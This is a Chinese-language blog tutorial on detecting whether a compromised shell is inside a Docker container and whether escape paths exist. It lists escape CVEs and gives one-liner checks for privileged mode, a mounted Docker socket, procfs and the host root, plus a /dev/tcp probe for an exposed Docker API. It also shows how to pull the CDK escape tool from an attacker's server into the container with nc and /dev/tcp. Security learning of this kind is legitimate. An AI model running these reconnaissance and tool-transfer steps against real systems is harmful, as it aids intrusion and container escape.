云原生安全(2) Docker逃逸信息收集检测方法

Docker

介绍就不过多赘述了,前一篇有说,网上也有很多师傅解释的很详细了(*^_^*)

Docker 相关的安全问题主要还是集中在逃逸这一块

漏洞利用汇总

1、Docker 自身漏洞
cve-2017-1002101
cve-2018-1002100
cve-2018-15664 符号链接替换漏洞
cve-2019-14271 加载不受信任的动态链接库
cve-2019-1002101
cve-2019-11246
cve-2019-11249
cve-2019-11251
cve-2019-16884
cve-2019-5736 runc 逃逸
cve-2020-15257
cve-2020-27151
kata-escape-2020
cve-2021-25741
cve-2021-30465
cve-2022-0492

#2、内核漏洞
cve-2016-5195 DirtyCow
cve-2017-1000112
cve-2020-14386
cve-2021-22555
cve-2022-0847 DirtyPipe

#3、不安全的配置
privileged-container
mount-docker-sock
mount-host-etc
mount-host-procfs
mount-var-log
cap_dac_read_search-container
cap_sys_admin-container

检测环境

假如我们攻入一个目标getshell,想确认一下是否是docker环境,直接

ls -alh /.dockerenv

一条命令就能看出来是否是docker环境

博主你的这条命令确实好用,但还是太吃操作了,有没有更加简单又强势的方法推荐一下?

有的兄弟,有的(这种东西记好几种虽然貌似没什么用,但记录一下我知道的几种)

cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"

返回 Is Docker 就是,反之不是

cat /proc/1/cgroup

看cgroup信息,cgroup是Linux用于管理进程的,Docker 利用 cgroup 来实现容器的资源隔离,确保每个容器只能使用分配给它的资源。返回信息里看到docker关键词就可以确认

容器逃逸检测方法合集

容器逃逸主要3种方法

  1. 不安全的配置
  2. 相关程序漏洞
  3. 内核漏洞

//相关程序漏洞需要配合docker版本使用,目前暂无方法从docker内部获取docker版本信息

//用cdk直接evaluate –full一把梭不是不行,但个人认为最好还是手测和cdk结合使用

0x01不安全的配置

特权模式

执行以下命令,如果返回 Is privileged mode 则说明当前是特权模式

cat /proc/self/status | grep -qi "0000003fffffffff" && echo "Is privileged mode" || echo "Not privileged mode"

如果返回 Not privileged mode 则说明当前不是特权模式

挂载 Docker Socket

执行以下命令,如果返回 Docker Socket is mounted. 说明当前挂载了 Docker Socket

ls /var/run/ | grep -qi docker.sock && echo "Docker Socket is mounted." || echo "Docker Socket is not mounted."

如果返回 Docker Socket is not mounted. 则说明没有挂载

挂载 procfs

执行以下命令,如果返回 Procfs is mounted. 说明当前挂载了 procfs

find / -name core_pattern 2>/dev/null | wc -l | grep -q 2 && echo "Procfs is mounted." || echo "Procfs is not mounted."

如果返回 Procfs is not mounted. 则说明没有挂载

挂载宿主机根目录

执行以下命令,如果返回 Root directory is mounted. 则说明宿主机目录被挂载

find / -name passwd 2>/dev/null | grep /etc/passwd | wc -l | grep -q 7 && echo "Root directory is mounted." || echo "Root directory is not mounted."

如果返回 Root directory is not mounted. 则说明没有挂载

Docker remote api 未授权访问

执行以下命令,如果返回 Docker Remote API Is Enabled. 说明目标存在 Docker remote api 未授权访问

IP=`hostname -i | awk -F. '{print $1 "." $2 "." $3 ".1"}' ` && timeout 3 bash -c "echo >/dev/tcp/$IP/2375" > /dev/null 2>&1 && echo "Docker Remote API Is Enabled." || echo "Docker Remote API is Closed."

如果返回 Docker Remote API is Closed. 则表示目标不存在 Docker remote api 未授权访问

0x02 内核漏洞

CVE-2016-5195 DirtyCow 逃逸

执行 uname -r 命令,如果在 2.6.22 <= 版本 <= 4.8.3 之间说明可能存在 CVE-2016-5195 DirtyCow 漏洞。

CVE-2020-14386

执行 uname -r 命令,如果在 4.6 <= 版本 < 5.9 之间说明可能存在 CVE-2020-14386 漏洞。

CVE-2022-0847 DirtyPipe 逃逸

执行 uname -r 命令,如果在 5.8 <= 版本 < 5.10.102 < 版本 < 5.15.25 < 版本 < 5.16.11 之间说明可能存在 CVE-2022-0847 DirtyPipe 漏洞。

0x03 docker安全工具cdk

需要将工具投放到docker内

先在自己公网上起一个监听

nc -lvp 端口 < cdk

然后docker内

cat < /dev/tcp/公网服务器的IP/端口 > cdk

之后可能会一直没有回显,可以ctrl+C然后ls一下看看有没有cdk

然后记得给cdk设置为可执行权限

chmod a+x cdk

之后就可以利用cdk进行信息收集(后续逃逸的利用也可以利用cdk)

信息收集用如下命令

./cdk evaluate --full
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇